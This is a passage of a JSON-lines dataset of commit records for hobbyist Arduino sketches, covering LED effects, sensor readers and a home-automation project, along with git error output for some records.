crosshairs.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Joysticks-128x64-Graphic\/Joysticks-128x64-Graphic.ino","new_file":"Joysticks-128x64-Graphic\/Joysticks-128x64-Graphic.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"34dceab5a82b9619f88fbe71ccaafd2d1915b7d8","subject":"Delete Thermal_HUD_bicubic.ino","message":"Delete Thermal_HUD_bicubic.ino\n\nOdd merge issues leading to compilation errors","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68f34edfefea0d7ce95d91749a3b2c51d4a3f7be","subject":"Create cash-register.ino","message":"Create cash-register.ino","repos":"neolao\/cash-register","old_file":"arduino\/cash-register.ino","new_file":"arduino\/cash-register.ino","new_contents":"const int obstaclePin = 7;\nconst int buzzerPin = 6;\nconst int soundDuration = 40;\nconst int randomError = 20;\nint lastObstacleValue;\n\n\/**\n * Setup the board\n *\/\nvoid setup() {\n \/\/ initialize serial communication:\n \/\/Serial.begin(9600);\n\n pinMode(buzzerPin, OUTPUT);\n pinMode(obstaclePin, INPUT);\n\n lastObstacleValue = HIGH;\n}\n\n\/**\n * Main loop\n *\/\nvoid loop() {\n int obstacleValue = digitalRead(obstaclePin);\n \n if (lastObstacleValue == HIGH && obstacleValue == LOW) {\n int randNumber = random(randomError);\n if (randNumber == 0) {\n soundError();\n } else {\n soundOk();\n }\n }\n lastObstacleValue = obstacleValue;\n \n delay(50);\n}\n\n\/**\n * Make OK sound\n *\/\nvoid soundOk() {\n int i;\n for (i=0; i<soundDuration; i++) {\n digitalWrite(buzzerPin, HIGH);\n delay(1);\n digitalWrite(buzzerPin, LOW);\n delay(1);\n }\n}\n\n\/**\n * Make error sound\n *\/\nvoid soundError() {\n int i;\n for (i=0; i<soundDuration; i++) {\n analogWrite(buzzerPin, 50);\n delay(1);\n analogWrite(buzzerPin, 255);\n delay(1);\n analogWrite(buzzerPin, 0);\n delay(1);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/cash-register.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d43c26af5760395cdbd2af7f87f72783659da69","subject":"ADD: Sound sensor test","message":"ADD: Sound sensor test\n","repos":"zipatrick\/tronic-drum-kit,zipatrick\/tronic-drum-kit","old_file":"tests\/sound-sensor\/sound-sensor.ino","new_file":"tests\/sound-sensor\/sound-sensor.ino","new_contents":"\/*\n* Connect sound sensor to digital pin 2\n* We will use the onboard lED to indicate sound detected and output to sr=erial monitor\n*\/\n\n#define soundPin 2 \/\/ Use Pin 10 as our Input\nint soundValue = HIGH; \/\/ This is where we record our Sound Measurement\nint led = 13;\n\nboolean bSound = false;\n\nunsigned long lastSoundTime; \/\/ Record the time that we measured a sound\n\nint soundTime = 300; \/\/ Number of milli seconds to keep the sound alarm high\n\n\nvoid setup ()\n {\n Serial.begin(9600); \n pinMode (soundPin, INPUT) ; \/\/ input from the Sound Detection Module\n pinMode(led, OUTPUT);\n}\n\nvoid loop ()\n{\n \/\/digitalWrite(13, HIGH);\n soundValue = digitalRead (soundPin) ; \/\/ read the sound alarm time\n \/\/Serial.println(soundValue);\n if (soundValue == LOW) \/\/ If we hear a sound\n {\n\n lastSoundTime = millis(); \/\/ record the time of the sound alarm\n \/\/ We don't want to fill up monitor\n if (!bSound){\n Serial.println(\"########## ######### #########\");\n Serial.println(\" # # # # #\");\n Serial.println(\" # # # # #\");\n Serial.println(\" # ######### #########\");\n Serial.println(\" # # # #\");\n Serial.println(\" # # # #\");\n Serial.println(\" # # # #\");\n Serial.println(\"\\n\\n\\n\");\n digitalWrite(led, HIGH);\n bSound = true;\n }\n }\n else\n {\n if( (millis()-lastSoundTime) > soundTime && bSound){\n Serial.println(\"quiet\");\n digitalWrite(led, LOW);\n bSound = false;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/sound-sensor\/sound-sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"791c9c74a7955d8b1cb35abee237ec00e7866390","subject":"Unnecessary Files","message":"Unnecessary Files\n","repos":"jackm97\/Arduino-Shutter,jackm97\/Arduino-Shutter","old_file":"Complete_Shutter_Package\/shutter_code\/shutter_code.ino","new_file":"Complete_Shutter_Package\/shutter_code\/shutter_code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jackm97\/Arduino-Shutter.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fec3a56e47e9170d94b5f1bbbd78f64644e73e57","subject":"Reordering code in mpu data reading","message":"Reordering code in mpu data reading\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome","old_file":"arduino-server\/get_handler.ino","new_file":"arduino-server\/get_handler.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"773b27fbfde8631a9b3094df12cd0d3d4214f115","subject":"Create GasScale.ino","message":"Create GasScale.ino","repos":"aavn\/Gassistant,aavn\/Gassistant","old_file":"GasScale\/GasScale.ino","new_file":"GasScale\/GasScale.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GasScale\/GasScale.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"85de6acb9ee175a873df370a0f89736c988dcf6f","subject":"Add ikea dioder demo to the project.","message":"Add ikea dioder demo to the project.\n\nDemo contains a few functions to demonstrate simple functions as pulse\n(flash), fade to a color (rainbow) and fade white in and out.\n","repos":"DJFliX\/promicroutilities","old_file":"ikea_dioder_demo\/ikea_dioder_demo.ino","new_file":"ikea_dioder_demo\/ikea_dioder_demo.ino","new_contents":"byte r = 0;\nbyte g = 0;\nbyte b = 0;\nbyte rCurrent = 0;\nbyte gCurrent = 0;\nbyte bCurrent = 0;\n\n#define PIN_G 3\n#define PIN_B 5\n#define PIN_R 6\n\n#define FADE_FAST 1\n#define FADE_MEDIUM 3\n#define FADE_SLOW 5\n#define LONG_PAUSE 500\n#define MEDIUM_PAUSE 300\n#define SHORT_PAUSE 150\n\n#define PAUSE LONG_PAUSE\n#define FADE FADE_SLOW\nbool fadeTo(byte nr, byte ng, byte nb, byte delayms){\n bool isFinished = false;\n r = nr;\n g = ng;\n b = nb;\n \n while (!isFinished){\n if(rCurrent != r) {\n if(rCurrent < r) rCurrent++;\n else rCurrent--;\n analogWrite(PIN_R, rCurrent);\n }\n if(gCurrent != g) {\n if(gCurrent < g) gCurrent++;\n else gCurrent--; \n analogWrite(PIN_G, gCurrent);\n }\n if(bCurrent != b) {\n if(bCurrent < b) bCurrent++;\n else bCurrent--;\n analogWrite(PIN_B, bCurrent);\n }\n if(rCurrent == r && bCurrent == b && gCurrent == g) isFinished = true;\n delay(delayms);\n }\n}\n\nvoid setup(){\n pinMode(PIN_R, OUTPUT);\n pinMode(PIN_G, OUTPUT);\n pinMode(PIN_B, OUTPUT);\n}\n\nvoid rainbow(){\n fadeTo(255, 0, 0, FADE);\n delay(PAUSE);\n fadeTo(255, 127, 0, FADE);\n delay(PAUSE);\n fadeTo(255, 255, 0, FADE);\n delay(PAUSE);\n fadeTo(127, 0, 0, FADE);\n delay(PAUSE);\n fadeTo(0, 255, 0, FADE);\n delay(PAUSE);\n fadeTo(0, 255, 0, FADE);\n delay(PAUSE);\n fadeTo(0, 255, 127, FADE);\n delay(PAUSE);\n fadeTo(0, 255, 255, FADE);\n delay(PAUSE);\n fadeTo(0, 127, 255, FADE);\n delay(PAUSE);\n fadeTo(0, 0, 255, FADE);\n delay(PAUSE);\n fadeTo(127, 0, 255, FADE);\n delay(PAUSE);\n fadeTo(255, 0, 255, FADE);\n delay(PAUSE);\n fadeTo(255, 0, 127, FADE);\n delay(PAUSE);\n fadeTo(0,0,0,FADE);\n delay(PAUSE);\n}\n\nvoid burstColor(byte nr, byte ng, byte nb, int duration) {\n analogWrite(PIN_R, nr);\n analogWrite(PIN_G, ng);\n analogWrite(PIN_B, nb);\n delay(duration);\n analogWrite(PIN_R, rCurrent);\n analogWrite(PIN_G, gCurrent);\n analogWrite(PIN_B, bCurrent); \n}\n\nvoid burstMultiple(byte nr, char ng, byte nb, int duration, char times){\n int i;\n for(i = 0; i < times; i++){\n burstColor(nr, ng, nb, duration);\n delay(duration);\n } \n}\n\nvoid fadeWhite(){\n fadeTo(0,0,0,1);\n fadeTo(255, 255, 255, 20);\n fadeTo(0,0,0,20);\n}\n\nvoid loop(){\n \/\/rainbow();\n fadeWhite();\n \/*burstMultiple(255, 0, 0, 50, 10);\n burstMultiple(0, 255, 0, 50, 10);\n burstMultiple(0, 0, 255, 50, 10);\n burstMultiple(255, 255, 255, 50, 10);\n burstMultiple(255, 0, 0, 50, 10);\n burstMultiple(0, 255, 0, 50, 10);\n burstMultiple(0, 0, 255, 50, 10);\n burstMultiple(16, 16, 16, 50, 10);\n burstMultiple(48, 48, 48, 50, 10);\n burstMultiple(128, 128, 128, 50, 10);\n burstMultiple(192, 192, 192, 50, 10);\n burstMultiple(255, 255, 255, 50, 10);*\/\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ikea_dioder_demo\/ikea_dioder_demo.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"c12b86b5f4c59118b34f46650c77e9920b2ba2d0","subject":"Uso de entradas y salidas digitales","message":"Uso de entradas y salidas digitales","repos":"MrChunckuee\/STELLARIS-ENERGIA_Examples,MrChunckuee\/STELLARIS-ENERGIA_Examples","old_file":"LM4F_E001\/LM4F_E001.ino","new_file":"LM4F_E001\/LM4F_E001.ino","new_contents":"\/*******************************************************************************\n *\n * Uso de entradas y salidas digitales\n *\n *******************************************************************************\n * FileName: LM4F_E001\n * Processor: EX-LM4F120XL\n * Complier: Energia 0101e0017\n * Author: Pedro S\u00e1nchez (MrChunckuee)\n * Blog: http:\/\/mrchunckuee.blogspot.com\/\n * Email: mrchunckuee.psr@gmail.com\n * Description: Este ejemplo enciende los LEDs dependiendo de la cantidad\n de veces que se precione el boton PUSH1.\n *******************************************************************************\n * Rev. Date Comment\n * v1.00 12\/06\/2016 Creaci\u00f3n del firmware\n ******************************************************************************\/\n\nchar count;\n\nvoid setup() { \n \/\/ Inicializa entradas y salidas\n \/\/ Activamos Pull-Up en PUSH1\n pinMode(RED_LED, OUTPUT); \n pinMode(GREEN_LED, OUTPUT); \n pinMode(BLUE_LED, OUTPUT); \n pinMode(PUSH1, INPUT_PULLUP);\n count=0;\n}\n\nvoid loop() {\n ReadInputs();\n SetOutputs(); \n}\n\nvoid ReadInputs (){\n if (digitalRead(PUSH1)==LOW){ \/\/Checamos el estado de PUSH1\n count = count + 1;\n if(count>4) count = 1;\n while(digitalRead(PUSH1)==LOW);\n delay(1);\n }\n}\n\nvoid SetOutputs(){\n switch(count){\/\/Colocamos las salidad dependiendo del estado de count\n case 1:\n digitalWrite(RED_LED, HIGH); \n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, LOW); \n break;\n case 2:\n digitalWrite(RED_LED, LOW); \n digitalWrite(GREEN_LED, HIGH);\n digitalWrite(BLUE_LED, LOW);\n break;\n case 3:\n digitalWrite(RED_LED, LOW); \n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, HIGH);\n break;\n case 4:\n digitalWrite(RED_LED, HIGH); \n digitalWrite(GREEN_LED, HIGH);\n digitalWrite(BLUE_LED, HIGH);\n break; \n default:\n digitalWrite(RED_LED, LOW); \n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, LOW);\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LM4F_E001\/LM4F_E001.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abff57c828b7e1ebe811e2836a75bcc6e60aaa10","subject":"Create Remote.ino","message":"Create Remote.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Firmware\/Remote\/Remote.ino","new_file":"Firmware\/Remote\/Remote.ino","new_contents":"Soon!\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/Remote\/Remote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a0d70e4fe7a4a2c67502fbb0806f481dbeb53e8","subject":"Arduino program used in \"Arduino - Using the 1Sheeld on the Onion Omega\"","message":"Arduino program used in \"Arduino - Using the 1Sheeld on the Onion Omega\"\n","repos":"CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics","old_file":"Ard-1SheeldOmega\/DHTshield\/DHTshield.ino","new_file":"Ard-1SheeldOmega\/DHTshield\/DHTshield.ino","new_contents":"\n\/\/ Example testing sketch for various DHT humidity\/temperature sensors\n\/\/ Written by ladyada, public domain\n\n#define CUSTOM_SETTINGS\n#define INCLUDE_TERMINAL_SHIELD\n\n\/* Include 1Sheeld library. *\/ \n#include <OnionLibrary.h>\n#include <OneSheeld.h>\n#include \"DHT.h\"\n\n#define DHTPIN 2 \/\/ what pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n\/\/#define DHTTYPE DHT11 \/\/ DHT 11 \n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\nDHT dht(DHTPIN, DHTTYPE);\nOnion* onionSetup;\n\nvoid setup() {\n onionSetup = new Onion;\n \/* Start communication. *\/\n OneSheeld.begin();\n \n dht.begin();\n Terminal.println(\"DHTxx test!\");\n}\n\nvoid loop() {\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n \/\/ check if returns are valid, if they are NaN (not a number) then something went wrong!\n if (isnan(t) || isnan(h)) {\n Terminal.println(\"Failed to read from DHT\");\n } else {\n Terminal.print(\"Humidity: \"); \n Terminal.print(h);\n Terminal.print(\" %\\t\");\n Terminal.print(\"Temperature: \"); \n Terminal.print(t);\n Terminal.println(\" *C\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ard-1SheeldOmega\/DHTshield\/DHTshield.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"e323c2cf6449ad499b4dfaf33b09543d80588e0a","subject":"Added noise comparison example.","message":"Added noise comparison example.\n","repos":"pixelmatix\/SmartMatrix-Photon-APA102,pixelmatix\/SmartMatrix-Photon-APA102","old_file":"firmware\/examples\/FastLedComparisonNoise\/FastLedComparisonNoise.ino","new_file":"firmware\/examples\/FastLedComparisonNoise\/FastLedComparisonNoise.ino","new_contents":"#define SMARTMATRIX_ENABLED 0\n\n#include \"application.h\"\n\n#if (SMARTMATRIX_ENABLED == 1)\n #include \"SmartMatrix3\/SmartMatrix3.h\"\n#endif\n\n#include \"FastLEDSmartMatrix\/FastLEDSmartMatrix.h\"\nFASTLED_USING_NAMESPACE;\n\n#if (SMARTMATRIX_ENABLED == 1)\n #define COLOR_DEPTH 24 \/\/ known working: 24, 48 - If the sketch uses type `rgb24` directly, COLOR_DEPTH must be 24\n const uint8_t kMatrixWidth = 16; \/\/ known working: 16, 32, 48, 64\n const uint8_t kMatrixHeight = 16; \/\/ known working: 32, 64, 96, 128\n const uint8_t kRefreshDepth = 36; \/\/ known working: 24, 36, 48\n const uint8_t kDmaBufferRows = 4; \/\/ known working: 2-4, use 2 to save memory, more to keep from dropping frames and automatically lowering refresh rate\n const uint8_t kPanelType = 0; \/\/ use SMARTMATRIX_HUB75_16ROW_MOD8SCAN for common 16x32 panels\n const uint8_t kMatrixOptions = (SMARTMATRIX_OPTIONS_NONE); \/\/ see http:\/\/docs.pixelmatix.com\/SmartMatrix for options\n const uint8_t kBackgroundLayerOptions = (SM_BACKGROUND_OPTIONS_NONE);\n const uint8_t kScrollingLayerOptions = (SM_SCROLLING_OPTIONS_NONE);\n \n SMARTMATRIX_ALLOCATE_BUFFERS(matrix, kMatrixWidth, kMatrixHeight, kRefreshDepth, kDmaBufferRows, kPanelType, kMatrixOptions);\n SMARTMATRIX_ALLOCATE_BACKGROUND_LAYER(backgroundLayer, kMatrixWidth, kMatrixHeight, COLOR_DEPTH, kBackgroundLayerOptions);\n SMARTMATRIX_ALLOCATE_SCROLLING_LAYER(scrollingLayer, kMatrixWidth, kMatrixHeight, COLOR_DEPTH, kScrollingLayerOptions);\n \n rgb24 *buffer;\n \n const uint16_t NUM_LEDS = kMatrixWidth * kMatrixHeight;\n#else\n #define DATA_PIN D2\n #define CLOCK_PIN D4\n \n #define COLOR_ORDER BGR\n #define CHIPSET APA102\n \n \/\/ Params for width and height\n const uint8_t kMatrixWidth = 16;\n const uint8_t kMatrixHeight = 16;\n \n const uint16_t NUM_LEDS = kMatrixWidth * kMatrixHeight;\n \n CRGB leds_plus_safety_pixel[ NUM_LEDS + 1];\n CRGB* leds( leds_plus_safety_pixel + 1);\n#endif\n\nconst uint8_t scale = 256 \/ kMatrixWidth;\n\n#if (SMARTMATRIX_ENABLED == 1)\n uint16_t XY(uint8_t x, uint8_t y) {\n return kMatrixWidth * y + x;\n }\n#else\n uint16_t XY( uint8_t x, uint8_t y)\n {\n uint16_t i;\n \n if( y & 0x01) {\n \/\/ Odd rows run backwards\n uint8_t reverseX = (kMatrixWidth - 1) - x;\n i = (y * kMatrixWidth) + reverseX;\n } else {\n \/\/ Even rows run forwards\n i = (y * kMatrixWidth) + x;\n }\n \n return i;\n }\n#endif\n\n#define BRIGHTNESS 10\n\nvoid setup() {\n#if (SMARTMATRIX_ENABLED == 1)\n matrix.addLayer(&backgroundLayer);\n matrix.addLayer(&scrollingLayer);\n matrix.begin();\n matrix.setBrightness(BRIGHTNESS);\n backgroundLayer.enableColorCorrection(false);\n#else\n FastLED.addLeds<CHIPSET, DATA_PIN, CLOCK_PIN, COLOR_ORDER, DATA_RATE_MHZ(1)>(leds, NUM_LEDS).setCorrection(TypicalSMD5050);\n FastLED.setBrightness( BRIGHTNESS );\n\n \/\/ FastLED.setDither(BINARY_DITHER);\n FastLED.setDither(DISABLE_DITHER);\n#endif\n}\n\nuint16_t noisex;\nuint16_t noisey;\nuint16_t noisez;\n\nint noisespeedx;\nint noisespeedy;\nint noisespeedz;\n\nuint16_t noisescale;\n\nCRGBPalette16 palette;\n\nvoid drawNoise()\n{\n for (uint8_t x = 0; x < kMatrixWidth; x++) {\n for (uint8_t y = 0; y < kMatrixHeight; y++) {\n uint16_t xoffset = noisescale * x;\n uint16_t yoffset = noisescale * y;\n\n uint8_t index = inoise8(x + xoffset + noisex, y + yoffset + noisey, noisez);\n\n \/\/ The range of the inoise8 function is roughly 16-238.\n \/\/ These two operations expand those values out to roughly 0..255\n \/\/ You can comment them out if you want the raw noise data.\n index = qsub8(index, 16);\n index = qadd8(index, scale8(index, 39));\n\n#if (SMARTMATRIX_ENABLED == 1)\n buffer[XY(x, y)] = ColorFromPalette(palette, index);\n#else\n leds[XY(x, y)] = ColorFromPalette(palette, index);\n#endif\n }\n }\n\n noisex += noisespeedx;\n noisey += noisespeedy;\n noisez += noisespeedz;\n}\n\nvoid fireNoise() {\n noisespeedx = 0;\n noisespeedy = 64;\n noisespeedz = 0;\n noisescale = 64;\n palette = HeatColors_p;\n drawNoise();\n}\n\nvoid fireNoise2() {\n noisespeedx = 0;\n noisespeedy = 192;\n noisespeedz = 4;\n noisescale = 128;\n palette = HeatColors_p;\n drawNoise();\n}\n\nvoid lavaNoise() {\n noisespeedx = 0;\n noisespeedy = -3;\n noisespeedz = 2;\n noisescale = 8;\n palette = LavaColors_p;\n drawNoise();\n}\n\nvoid rainbowNoise() {\n noisespeedx = 8;\n noisespeedy = 0;\n noisespeedz = 0;\n noisescale = 16;\n palette = RainbowColors_p;\n drawNoise();\n}\n\nvoid rainbowStripeNoise() {\n noisespeedx = 2;\n noisespeedy = 0;\n noisespeedz = 0;\n noisescale = 4;\n palette = RainbowStripeColors_p;\n drawNoise();\n}\n\nvoid partyNoise() {\n noisespeedx = 0;\n noisespeedy = 8;\n noisespeedz = 1;\n noisescale = 16;\n palette = PartyColors_p;\n drawNoise();\n}\n\nvoid forestNoise() {\n noisespeedx = 2;\n noisespeedy = 0;\n noisespeedz = 0;\n noisescale = 4;\n palette = ForestColors_p;\n drawNoise();\n}\n\nvoid cloudNoise() {\n noisespeedx = 0;\n noisespeedy = 4;\n noisespeedz = 0;\n noisescale = 16;\n palette = CloudColors_p;\n drawNoise();\n}\n\nvoid oceanNoise() {\n noisespeedx = 0;\n noisespeedy = 0;\n noisespeedz = 16;\n noisescale = 16;\n palette = OceanColors_p;\n drawNoise();\n}\n\ntypedef void (*Pattern)();\ntypedef Pattern PatternList[];\n\nconst PatternList patterns = {\n fireNoise,\n fireNoise2,\n lavaNoise,\n rainbowNoise,\n rainbowStripeNoise,\n partyNoise,\n forestNoise,\n cloudNoise,\n oceanNoise,\n};\n\n#define ARRAY_SIZE(A) (sizeof(A) \/ sizeof((A)[0]))\nconst uint8_t patternCount = ARRAY_SIZE(patterns);\n\nuint8_t patternIndex = 0;\n\nvoid nextPattern()\n{\n \/\/ add one to the current pattern number, and wrap around at the end\n patternIndex = (patternIndex + 1) % patternCount;\n}\n\nvoid loop() {\n EVERY_N_MILLISECONDS(1000\/30) {\n\n#if (SMARTMATRIX_ENABLED == 1)\n buffer = backgroundLayer.backBuffer();\n#endif \n\n patterns[patternIndex]();\n \n#if (SMARTMATRIX_ENABLED == 1)\n backgroundLayer.swapBuffers(true);\n#endif\n }\n\n#if (SMARTMATRIX_ENABLED == 0)\n FastLED.show();\n#endif\n\n EVERY_N_SECONDS( 5 ) {\n nextPattern(); \/\/ change patterns periodically\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/FastLedComparisonNoise\/FastLedComparisonNoise.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1af32d88182c0391b4c8ed33b3e00a393dc3f798","subject":"Four heaters cycling, temp and time validated. Currently running at 100 ms update.","message":"Four heaters cycling, temp and time validated. Currently running at 100 ms update.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4e6f3bb1871a8fafc3a70c5825e98d53459f7d74","subject":"M5StackFire neopixel VU meter added","message":"M5StackFire neopixel VU meter added\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Fire\/M5StackFire_NeoPixelVUmeter\/M5StackFire_NeoPixelVUmeter.ino","new_file":"examples\/Fire\/M5StackFire_NeoPixelVUmeter\/M5StackFire_NeoPixelVUmeter.ino","new_contents":"\/*\n microphone test\n\n hardwware: M5StackFire \n\n please use the serial plotter in the Arduino IDE to show the signal\n change the baudrate of the plotter to 115200\n \n September 2018, ChrisMicro\n*\/\n\n#define M5STACKFIRE_MICROPHONE_PIN 34\n\nvoid setup() \n{\n Serial.begin(115200);\n}\n\nvoid loop() \n{\n int micValue = analogRead(M5STACKFIRE_MICROPHONE_PIN);\n\n Serial.println(micValue);\n delay(1); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Fire\/M5StackFire_NeoPixelVUmeter\/M5StackFire_NeoPixelVUmeter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d93d78ffb4723009870c15f78cd12b979f505c10","subject":"Add basic fillbrick scrolling line test","message":"Add basic fillbrick scrolling line test\n","repos":"MaxWofford\/philbrick","old_file":"arduino\/fillbrick.ino","new_file":"arduino\/fillbrick.ino","new_contents":"\/\/Pin connected to ST_CP of 74HC595\nconst int latchPin = 12;\n\/\/Pin connected to SH_CP of 74HC595\nconst int clockPin = 11;\n\/\/\/\/Pin connected to DS of 74HC595\nconst int dataPin = 13;\n\nvoid setup() {\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ count from 2 (0x00001) to 32 (0x10000)\n \/\/ note: the furthest right pin is disconnected; drop the right most digit in binary\n for (int a = 2 ; a< 32;a*=2) {\n digitalWrite(latchPin, LOW);\n \/\/ shift out the bits:\n shiftOut(dataPin, clockPin, MSBFIRST, data[a]);\n \/\/take the latch pin high so the LEDs will light up:\n digitalWrite(latchPin, HIGH);\n \/\/ pause before next value:\n delay(500);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/fillbrick.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5e83b098a76eefc094eed0e8b22d71b0742f584","subject":"Create elfi.ino","message":"Create elfi.ino\n\nMain file of the ElFi project.","repos":"sehlstrom\/ElFi","old_file":"elfi.ino","new_file":"elfi.ino","new_contents":"\/**\n * @flie elfi.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Alexander Sehlstr\u00f6m\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * ElFi is a Do It Yourself Home Automation System.\n *\n * ElFi handels divece timers that, using a RF433 transmitter,\n * switches devices on\/off at given time at specified days.\n * Furthermore, using the Arduino Ethernet Sheild that retreives a\n * LAN IP from a router using DHCP, ElFi hosts a web server. The web\n * server provides an HTML interface that allows manual controll of\n * the connected devices using e.g. your smart phone. Also, the real\n * time clock of ElFi is set by retreiving the time from a NTP.\n *\n * In order for ElFi to work, you need:\n * - Arduino with Ethernet Sheild\n * - RF433\/TX\n * - NEXA Self learning switches, e.g. NEXA NEYC-3\n * - COSA library (Object-Oriented Platform for Arduino Programming,\n * https:\/\/github.com\/mikaelpatel\/Cosa)\n * - Dedicated LAN IP for the Ethernet Sheild to allow easy acces\n * to the web server on the Arduino\n *\n * @section Circuit\n * This sketch is designed for the Ethernet Shield wired\n * with a RF433\/TX.\n *\n * \n * W5100\/ethernet\n * +------------+\n * (D10)--------------29-|CSN |\n * (D11)--------------28-|MOSI |\n * (D12)--------------27-|MISO |\n * (D13)--------------30-|SCK |\n * (D2)-----[ ]-------56-|IRQ |\n * +------------+\n *\n * RF433\/TX\n * +------------+\n * (GND)---------------1-|GND |\n * (D9)----------------2-|DATA IN | V\n * (VCC)---------------3-|VCC | |\n * |ANT 0-|-------------------+\n * +------------+ 173 mm\n *\n * Connect the Ethernet Shield on the Arduino and then the\n * Ethernet Sheild D9 to RF433 Transmitter data in pin.\n *\n * This file is part of the Arduino ElFi project.\n *\/\n\n\/\/ DEVELOPMENT MODE ============================================================\n\/\/#define DEVMODE 1\n\n#if defined DEVMODE\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#endif\n \n\/\/ INCLUDES ====================================================================\n\/\/ Cosa library ----------------------------------------------------------------\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/OutputPin.hh\"\n\n#include \"Cosa\/INET\/DHCP.hh\"\n#include 